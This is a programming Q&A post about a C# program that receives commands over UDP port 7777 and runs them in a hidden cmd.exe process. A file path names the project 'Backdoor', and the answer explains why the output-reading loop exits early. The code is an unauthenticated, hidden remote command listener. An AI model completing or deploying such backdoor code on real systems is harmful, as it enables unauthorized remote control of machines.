Reputation: 1653
I have been tasked with implementing an interactive shell in C# and have run into some complications. I have done this exact project in Java and used the ProcessBuilder class which made things easy.
The problem I am having right now is reading the standard output of the process. I am using the standard input to supply the commands to the shell.
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Diagnostics;
class EntryPoint
{
static void Main(string[] args)
{
IPAddress ip = null;
foreach (IPAddress addr in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
{
if (addr.AddressFamily.Equals(AddressFamily.InterNetwork))
ip = addr;
}
const int port = 7777;
try
{
UdpClient socket = new UdpClient(new IPEndPoint(ip, port));
IPEndPoint rcvEndPoint = new IPEndPoint(IPAddress.Any, port);
Console.WriteLine("Listening on " + ip + ":" + port);
bool listening = true;
while (listening)
{
byte[] data = socket.Receive(ref rcvEndPoint);
string command = Encoding.UTF8.GetString(data);
if (command.ToLower().Equals("exit"))
{
listening = false;
continue;
}
//startInfo.Arguments = "/C" + command;
string output = RunCommand(command);
Console.WriteLine(output);
}
}
catch (Exception e)
{
Console.WriteLine("Error: " + e.ToString());
Console.WriteLine("Press Enter to Exit...");
Console.Read();
}
}
private static string RunCommand(string command)
{
Process process = new Process();
process.StartInfo = new ProcessStartInfo()
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = "cmd.exe",
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardInput = true
};
process.Start();
process.StandardInput.WriteLine(command);
while (process.StandardOutput.Peek() >= 0)
{
Console.WriteLine(process.StandardOutput.ReadLine());
}
return "";
}
}
The problem I am having is stemming either from StandardInput.WriteLine() or StandardOutput.ReadLine(). Whenever I send a command such as "chdir" to the process, I get the follow output from reading the standard output:
Microsoft Windows [Version ...numbers...]
(c) 2013 ... Copyright stuff
-- blank line --
C:\Users\Nick\Desktop\Backdoor\Backdoor\bin\Debug>chdir
And that is all. Every bit of that output is normal for a command prompt, but the actual execution of the command is missing. When running the chdir command with no arguments, one would expect the prompt to print the current working directory. Either StandardInput is not executing the command or StandardOutput is not reading all of the output.
Does anyone have any insight? Thanks!
Upvotes: 0
Views: 2281
Reputation: 5415
You are only looping while Process.StandardOutput.Peek
returns a non-negative number. If there are no characters to be read, then Peek
returns -1 and your loop terminates. If there is even a slight a delay between when your program consumes the copyright/prompt text and the output of the chdir
command then your loop will exit and you will not see the entire output.
Proper ways to read from a process's standard output stream are described at MSDN for synchronous reading and asynchronous reading. You probably want to use the asynchronous techniques, since you will probably want to read from standard error as well, so I would recommend starting there.
Upvotes: 1